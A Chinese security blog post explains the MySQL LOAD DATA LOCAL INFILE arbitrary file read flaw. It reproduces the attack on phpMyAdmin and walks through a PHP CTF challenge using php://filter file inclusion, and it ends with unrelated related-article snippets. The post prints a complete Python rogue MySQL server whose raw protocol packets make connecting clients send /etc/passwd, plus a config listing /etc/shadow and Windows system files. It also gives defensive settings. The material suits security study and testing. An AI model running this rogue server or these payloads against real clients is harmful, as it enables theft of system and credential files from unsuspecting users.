当前位置: 首页 > news >正文

mysql读取文件

环境地址:phpMyAdmin LOAD DATA INFILE 任意文件读取漏洞 | VULNSPY

参考文章:

mysql任意文件读取漏洞学习_BerL1n的博客-CSDN博客

从一道ctf题学习mysql任意文件读取漏洞 - 安全客,安全资讯平台

MYSQL 任意文件读取

小组CTF出题感想 - x1a0t's Blog

一句话总结:伪造恶意的mysql客户端去请求服务器的资源

下列情况都存在mysql文件读取问题:

  • MySQL Client
  • PHP + mysql/mysqli
  • PHP + PDO (MYSQL_ATTR_LOCAL_INFILE)
  • Python + MySQLdb
  • Python3 + mysqlclient
  • Java + JDBC Driver

于是出现的常见payload有如下几种

https://raw.githubusercontent.com/Gifts/Rogue-MySql-Server/
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

漏洞原因

利用了Load data infile语法,在mysql客户端登陆mysql服务端后,客户端执行语句Load data local infile '/etc/passwd' into table proc;从而可以导致mysql进行本地或远程读取文件。

漏洞复现(phpmyadmin)

前置条件

phpmyadmin开启了如下选项

$cfg['AllowArbitraryServer'] = true; //false改为true

则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile读取该服务器上的任意文件。当然前提条件是secure_file_priv参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。

过程

登录网页,进去在/root/exp下,把脚本的3306端口,改位3307

运行脚本

python rogue_mysql_server.py,

然后访问80端口,使用host:db:3307登录phpmyadmin。

我们回到exp目录下面,然后发现了一个文件。mysql.log,我们读取文件,就可以/etc/passwd ,内容已经被读取到了。

exp

exp下载链接

https://github.com/Gifts/Rogue-MySql-Server/

首先,需要配置恶意服务器,然后再file_list选取要读取的文件

PORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(tmp_format
)filelist = (
#    r'c:\boot.ini',r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

简化的exp分三步走战略

1.回复mysql client一个greeting包
2.等待client端发送一个查询包
3.回复一个file transfer包
# -*- coding:utf-8 -*-
__author__ = 'leezp'
import socket
import logging# 读取mysql客户端本地文件,目前的脚本有读取长度限制,特别大的文件读取不完整logging.basicConfig(level=logging.DEBUG)filename = "/etc/passwd"
# filename="/root/Desktop/pass.txt"
sv = socket.socket()
sv.bind(("", 9999))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
# 1 Greeting
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x33\x30\x00\x19\x00\x00\x00\x18\x5b\x10\x16\x2d\x4e\x3b\x7b\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x42\x40\x67\x53\x2d\x55\x52\x0e\x01\x29\x26\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
# 2 Accept all authentications
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
logging.info("auth okay")
conn.recv(9999)
# 3 read file
# wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
# print(wantfile)
aaa = "\x01\x00\x00\x01\x14\x2e\x00\x00\x02\x03\x64\x65\x66\x00\x00\x00\x18\x61\x75\x74\x6f\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x2a\x00\x00\x03\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2e\x00\x00\x04\x03\x64\x65\x66\x00\x00\x00\x18\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x05\x03\x64\x65\x66\x00\x00\x00\x15\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x72\x65\x73\x75\x6c\x74\x73\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2a\x00\x00\x06\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x07\x03\x64\x65\x66\x00\x00\x00\x10\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x33\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x08\x03\x64\x65\x66\x00\x00\x00\x0c\x69\x6e\x69\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x00\x0c\x21\x00\x00\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x29\x00\x00\x09\x03\x64\x65\x66\x00\x00\x00\x13\x69\x6e\x74\x65\x72\x61\x63\x74\x69\x76\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x1d\x00\x00\x0a\x03\x64\x65\x66\x00\x00\x00\x07\x6c\x69\x63\x65\x6e\x73\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2c\x00\x00\x0b\x03\x64\x65\x66\x00\x00\x00\x16\x6c\x6f\x77\x65\x72\x5f\x63\x61\x73\x65\x5f\x74\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x73\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x28\x00\x00\x0c\x03\x64\x65\x66\x00\x00\x00\x12\x6d\x61\x78\x5f\x61\x6c\x6c\x6f\x77\x65\x64\x5f\x70\x61\x63\x6b\x65\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0d\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67\x74\x68\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0e\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x77\x72\x69\x74\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x0f\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x10\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x74\x79\x70\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1e\x00\x00\x11\x03\x64\x65\x66\x00\x00\x00\x08\x73\x71\x6c\x5f\x6d\x6f\x64\x65\x00\x0c\x21\x00\x9b\x01\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x12\x03\x64\x65\x66\x00\x00\x00\x10\x73\x79\x73\x74\x65\x6d\x5f\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1f\x00\x00\x13\x03\x64\x65\x66\x00\x00\x00\x09\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x14\x03\x64\x65\x66\x00\x00\x00\x15\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x5f\x69\x73\x6f\x6c\x61\x74\x69\x6f\x6e\x00\x0c\x21\x00\x2d\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x15\x03\x64\x65\x66\x00\x00\x00\x0c\x77\x61\x69\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\xff\x00\x00\x16\x01\x31\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x06\x6c\x61\x74\x69\x6e\x31\x11\x6c\x61\x74\x69\x6e\x31\x5f\x73\x77\x65\x64\x69\x73\x68\x5f\x63\x69\x00\x05\x32\x38\x38\x30\x30\x03\x47\x50\x4c\x01\x30\x07\x34\x31\x39\x34\x33\x30\x34\x05\x31\x36\x33\x38\x34\x02\x36\x30\x07\x31\x30\x34\x38\x35\x37\x36\x03\x4f\x46\x46\x89\x4f\x4e\x4c\x59\x5f\x46\x55\x4c\x4c\x5f\x47\x52\x4f\x55\x50\x5f\x42\x59\x2c\x53\x54\x52\x49\x43\x54\x5f\x54\x52\x41\x4e\x53\x5f\x54\x41\x42\x4c\x45\x53\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x49\x4e\x5f\x44\x41\x54\x45\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x44\x41\x54\x45\x2c\x45\x52\x52\x4f\x52\x5f\x46\x4f\x52\x5f\x44\x49\x56\x49\x53\x49\x4f\x4e\x5f\x42\x59\x5f\x5a\x45\x52\x4f\x2c\x4e\x4f\x5f\x41\x55\x54\x4f\x5f\x43\x52\x45\x41\x54\x45\x5f\x55\x53\x45\x52\x2c\x4e\x4f\x5f\x45\x4e\x47\x49\x4e\x45\x5f\x53\x55\x42\x53\x54\x49\x54\x55\x54\x49\x4f\x4e\x03\x55\x54\x43\x06\x53\x59\x53\x54\x45\x4d\x0f\x52\x45\x50\x45\x41\x54\x41\x42\x4c\x45\x2d\x52\x45\x41\x44\x05\x32\x38\x38\x30\x30\x07\x00\x00\x17\xfe\x00\x00\x02\x00\x02\x00"
conn.sendall(aaa)
print('------------')
content = conn.recv(9999)
print('++++++++++++')
wantfile = "\x0c\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
logging.info("read file...")
conn.sendall(wantfile)
content = conn.recv(9999)  
#print content
logging.info(content)
conn.close()

漏洞防御

  • 关闭local_infile参数,禁止导入本地文件
  • 开启–ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器

kali复现

kali开启local-infile设置

可以看到,已经将/etc/passwd下的文件读取进去了。

load data infile 'xxx' into table test; 将服务端文件存入test表中// 受害者服务器
load data local infile into table test; //自己的mysql所在的位置。

当我们开启mysql远程的服务,使用windows去连接kali的mysql

  1. 允许root用户远程连接
GRANT ALL PRIVILEGES ON . TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
  1. 修改 127.0.0.1 为 0.0.0.0
vim /etc/mysql/mariadb.conf.d/50-server.cnf
  1. 重启服务

Service mysql restart

这时候执行load data local infile '/etc/passwd' into table test; ,会有--secure-file-priv提示。

secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv 值为 /var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
secure_file_priv 无值,表示不对mysqld 的导入|导出做限制

我们需要先置为空,就能得到想要的效果。

CTF实战

<?phpdefine(ROBOTS, 0);
error_reporting(0);if(empty($_GET["action"])) {show_source(__FILE__);
} else {include $_GET["action"].".php";
}

有文件包含,在define里提示了 robots.txt。访问后得到了

User-agent:*Disallow:/installDisallow:/admin
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=admin/index
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=install/index

用base64伪协议去读取。

然后的到了flag的地址

<?php
if(!defined("ROBOTS"
)) {
die("Access Denied");}echo"Congratulate hack to here, But flag in /var/www/flag.flag"
;

之后得到了这里

<?phpif
(file_exists("./install.lock")) {die
("Have installed!");}$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {$conn = newmysqli($host, $user, $passwd);if($conn->connect_error) {      die($conn->connect_error);} 
else{$conn->query("DROP DATABASE ".$database);$conn->query("CREATE DATABASE ".$database);
//To be continuedmysqli_close($conn);$config = "<?phpn$config=";$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);}
}

该文件首先判断当前目录有无install.lock,我们通过上一级目录的文件包含漏洞可以绕过这个判断。下面是接受用户输入登陆mysql数据库,登陆成功的话会执行两个没有任何过滤的SQL语句,然后执行一个文件写入的操作。

按照正常步骤来的话,最后会报一个,No such file or directory的错误。

在执行file_put_contents()函数时,插入了一个文件夹md5($_SERVER["REMOTE_ADDR"])

,而这个函数在文件夹不存在的情况下是不能新建文件夹的,因此这个file_put_contents()

函数并不能利用。

这时,就需要使用mysql来读取这个文件。

第二道题目

https://blog.csdn.net/qq_41107295/article/details/100743094

相关文章:

mysql读取文件

环境地址&#xff1a;phpMyAdmin LOAD DATA INFILE 任意文件读取漏洞 | VULNSPY 参考文章&#xff1a; mysql任意文件读取漏洞学习_BerL1n的博客-CSDN博客 从一道ctf题学习mysql任意文件读取漏洞 - 安全客&#xff0c;安全资讯平台 MYSQL 任意文件读取 小组CTF出题感想 - …...

CentOS(5)——rpm包和源码包区别

目录 一、简介 二、区别 ①包名称 ②概念 ③优缺点 ④安装位置的区别 ⑤安装位置不同带来的影响 ⑥卸载方式的不同 一、简介 最近在公司内网离线升级Git时&#xff0c;遇见两个概念&#xff0c;分别是使用rpm包安装git&#xff0c;另一个这是编译源码包安装git&#x…...

Golang 实现对配置文件加密

引言 在实际的应用中&#xff0c;配置文件通常包含了一些敏感的信息&#xff0c;如数据库密码、API密钥等。为了保护这些敏感信息不被恶意获取&#xff0c;我们可以对配置文件进行加密。本文将介绍如何使用Go语言实现对配置文件的加密。 场景 在这个场景中&#xff0c;我们将…...

MYSQL数字函数详解和实战(数字函数大全,内含示例)

MySQL提供了许多数字函数&#xff0c;用于对数字进行各种计算和处理。以下是一些常用的MySQL数字函数。 内容有点多&#xff0c;建议收藏以备后续用到查阅参考。 目录 一、SIGN 取数字的符号 二、ABS 取绝对值 三、COS 取余弦值 四、ACOS 取反余弦值 五、SIN 取正弦值 六…...

Linux系列讲解 —— VIM配置与美化

目录 1. Vim基本配置1.1 配置文件1.2 基本配置 2. 插件管理器Vundle2.1 下载Vundle2.2 在vimrc中添加Vundle的配置 3. Vundle的使用3.1 安装插件3.2 卸载插件 1. Vim基本配置 1.1 配置文件 vim的配置文件有两处&#xff0c;请根据实际情况选择修改哪个。 (1) 全局配置文件&am…...

FreeSWITCH 使用指北(2)-多段音频顺序播放的设置

文章目录 1. 多段音频顺序播放的设置 1. 多段音频顺序播放的设置 在 FreeSWITCH 中涉及到放音的 APP 有不少&#xff0c;比较典型的是播放录音文件的 playback 和 play_and_detect_speech 。这两个 APP 播放录音的功能都依赖于 switch_ivr_play_say.c#switch_ivr_play_file() …...

使用python爬虫语言调用有道翻译实现英中互译(2023实现)

使用python爬虫语言调用有道翻译实现英中互译(2023实现) 作者: 安静到无声 作者简介:人工智能和硬件设计博士生、CSDN与阿里云开发者博客专家,多项比赛获奖者,发表SCI论文多篇。 Thanks♪(・ω・)ノ 如果觉得文章不错或能帮助到你学习,可以点赞👍收藏📁评论📒+关…...

2024王道考研计算机组成原理——指令系统

零、本章概要 指令寻址&#xff1a;解决的是PC"1"的问题 数据寻址&#xff1a;使用寄存器/内存/结合 基址寻址&#xff1a;用于多道程序的并发执行 直接寻址&#xff1a;call 0x12345678 变址寻址&#xff1a;esi edi用于循环&#xff0c;因为使用直接寻址需要一堆…...

vscode中如何将cmd设置为默认终端

vscode中如何将cmd设置为默认终端&#xff1f;下面本篇文章给大家介绍一下vscode中设置默认终端为cmdPowerShelWSL等的方法&#xff0c;希望对需要的朋友有所协助&#xff01; 一、快捷键&#xff08;CtrlShiftP打开命令面板&#xff0c;输入select选择“SelectDefaultProfil …...

Unity UGUI 循环滑动列表实现思路及简单代码实现

前言&#xff1a; 自己之前其实比着书上实现过一个循环滑动列表&#xff0c;并且商业化到了项目里&#xff0c;上线后也在用。可后来怎么也想不起来细节&#xff0c;看着之前的代码也看不很懂。这次复习一下&#xff0c;希望真能理解它的本质&#xff0c;也记录一下&#xff0…...

贪心算法(1)--经典贪心算法

目录 一、活动安排问题 二、最优装载问题 三、分数背包问题 四、多机调度问题 一、活动安排问题 1、策略 活动安排问题&#xff1a;设有n个活动的集合E{1,2,...,n}&#xff0c;每个活动i都有一个使用该资源的起始时间和一个结束时间&#xff0c;且。如果选择了活动i则它在…...

Nginx负载均衡和备份和故障转移

如果你想要两台 Nginx 服务器配置访问同一个链接&#xff0c;通常意味着你可能想要以下几种配置&#xff1a; 负载均衡&#xff1a;两台 Nginx 服务器都工作&#xff0c;当访问者请求资源时&#xff0c;流量会在这两台服务器之间进行均衡分配。备份和故障转移&#xff1a;其中…...

Android-Framework 三方应用默认权限都不弹窗

代码位置&#xff1a;frameworks/base/services/core/java/com/android/server/pm/PackageManagerService.java -1853,10 1853,10 public class PackageManagerService extends IPackageManager.StubmPermissionCallback);}- final String packageName res.pkg.application…...

TX Text Control.NET For WPF 32.0 Crack

TX Text Control 支持VISUAL STUDIO 2022、.NET 5 和 .NET 6 支持 .NET WPF 应用程序的文档处理 将文档编辑、创建和 PDF 生成添加到您的 WPF 应用程序中。 视窗用户界面 功能齐全的文档编辑器 TX Text Control 是一款完全可编程的丰富编辑控件&#xff0c;它在专为 Visual Stu…...

使用Go语言测试Redis性能

1. 前言 Redis是一个高性能的键值存储数据库&#xff0c;常用于缓存、队列、排行榜等场景。在实际应用中&#xff0c;我们需要对Redis的性能进行测试&#xff0c;以便了解其在不同场景下的表现。本文将介绍如何使用Go语言测试Redis的性能。 2. 环境准备 在开始测试前&#x…...

【Javascript】运算符(赋值,算术,自增,自减)

目录 赋值 算术 单个变量&#xff1a; 多个变量&#xff1a; 在字符串&#xff0c;数组中充当连接符 自符串与字符串 数组与数组 数组与字符串 自增与自减 前置 自增 自减 后置 自增 自减 赋值 var a 1;算术 单个变量&#xff1a; var a 1;a 1;console.l…...

Redis数据类型——list类型数据的扩展操作

1.list阻塞式数据获取 2.list类型数据业务场景...

[论文笔记]NEZHA

引言 今天带来华为诺亚方舟实验室提出的论文NEZHA,题目是 针对中文中文语言理解神经网络上下文表示(NEural contextualiZed representation for CHinese lAnguage understanding),为了拼出哪吒。 预训练语言模型由于具有通过对大型语料库进行预训练来捕获文本中深层上下文信…...

【Linux】认识协议

目录 一、应用层二、协议三、序列化和反序列化 一、应用层 之前的socket编程&#xff0c;都是在通过系统调用层面&#xff0c;如今我们来向上打通计算机网络。认识应用层的协议和序列化与反序列化 我们程序员写的一个个解决我们实际问题, 满足我们日常需求的网络程序, 都是在应…...

Hadoop3教程(三十四):(生产调优篇)MapReduce生产经验汇总

文章目录 &#xff08;164&#xff09;MR跑得慢的原因&#xff08;165&#xff09;MR常用调优参数Map阶段Reduce阶段 &#xff08;166&#xff09;MR数据倾斜问题参考文献 &#xff08;164&#xff09;MR跑得慢的原因 MR程序执行效率的瓶颈&#xff0c;或者说当你觉得你的MR程…...

OpenClaw自动化创作:Qwen2.5-VL-7B实现图文内容批量生成

OpenClaw自动化创作&#xff1a;Qwen2.5-VL-7B实现图文内容批量生成 1. 为什么需要自动化内容生产线 作为一个自媒体运营者&#xff0c;我每天需要处理大量的内容创作任务&#xff1a;从选题策划、文案撰写、配图设计到排版发布&#xff0c;整个过程耗时耗力。最让我头疼的是…...

OOMMF实战避坑指南:从编译报错到高级功能解析

1. OOMMF编译安装常见问题解析 第一次接触OOMMF的开发者&#xff0c;90%的时间都花在了环境配置和编译上。作为一个用C和Tcl混合编写的开源软件&#xff0c;OOMMF的编译过程确实存在不少"坑"。最常见的就是双击oommf.tcl后弹出的各种报错窗口——这往往意味着你需要…...

从零到一:STM32 SPWM逆变器设计全流程解析

从零到一&#xff1a;STM32 SPWM逆变器设计全流程解析 在新能源和电力电子领域&#xff0c;逆变器作为直流转交流的关键设备&#xff0c;其设计能力已成为工程师的核心竞争力之一。而基于STM32的SPWM逆变器设计&#xff0c;因其高性价比和灵活可控的特点&#xff0c;正成为工业…...

永磁同步电机PMSM无感FOC控制:扩展卡尔曼滤波器EKF观测器,代码运行无错,支持无感启动...

永磁同步电机pmsm无感foc控制&#xff0c;观测器采用扩展卡尔曼滤波器ekf&#xff0c;代码运行无错误&#xff0c;支持无感启动&#xff0c;代码移植性强&#xff0c;可以移植到国产mcu上.—— 从“功能”视角看透 ARM 官方 5 套 demo 一、写作目的 很多开发者拿到 CMSIS-DSP 例…...

智能开门柜自动售货机哪里生产

当你考虑引入一台智能开门柜自动售货机时&#xff0c;脑海中浮现的第一个问题往往是&#xff1a;“这东西&#xff0c;哪里生产的靠谱&#xff1f;”这背后&#xff0c;是对设备质量、技术稳定性和长期服务的深度关切。今天&#xff0c;我们就来深入剖析智能开门柜的生产格局&a…...

Ubuntu软件包依赖关系全解析,动态规划 - 回文子串问题。

查找软件包的依赖关系 在Ubuntu中&#xff0c;可以使用apt-cache命令查看软件包的依赖关系。运行以下命令列出指定软件包的所有依赖项&#xff1a; apt-cache depends <package-name>将<package-name>替换为目标软件包名称。该命令会显示直接依赖、推荐依赖以及可选…...

终极鸣潮自动化工具指南:3步实现智能后台战斗与资源收集

终极鸣潮自动化工具指南&#xff1a;3步实现智能后台战斗与资源收集 【免费下载链接】ok-wuthering-waves 鸣潮 后台自动战斗 自动刷声骸 一键日常 Automation for Wuthering Waves 项目地址: https://gitcode.com/GitHub_Trending/ok/ok-wuthering-waves ok-ww是一款基…...

嵌入式开发必备硬件知识解析与应用

1. 嵌入式开发与硬件的关系解析作为一名在嵌入式领域摸爬滚打多年的工程师&#xff0c;我经常被新人问到一个经典问题&#xff1a;"做嵌入式软件开发是不是可以完全不懂硬件&#xff1f;"我的回答永远是&#xff1a;你可以选择不精通&#xff0c;但绝对不能完全不懂。…...

STM32duino驱动VL53L8CX多区ToF传感器实战指南

1. 项目概述X-NUCLEO-53L8A1 是意法半导体&#xff08;STMicroelectronics&#xff09;推出的面向 STM32 Nucleo 开发平台的扩展板&#xff0c;核心器件为 VL53L8CX —— 业界首款支持 88 多区域&#xff08;multizone&#xff09;测距的飞行时间&#xff08;Time-of-Flight, T…...

AI辅助开发新思路:让快马AI智能生成可配置的403 forbidden全局处理组件

今天在开发一个后台管理系统时&#xff0c;遇到了一个常见的权限控制问题&#xff1a;当用户访问没有权限的页面时&#xff0c;系统直接抛出了403错误。这种生硬的体验显然不够友好&#xff0c;于是我决定开发一个智能化的403 forbidden处理组件。经过在InsCode(快马)平台上的实…...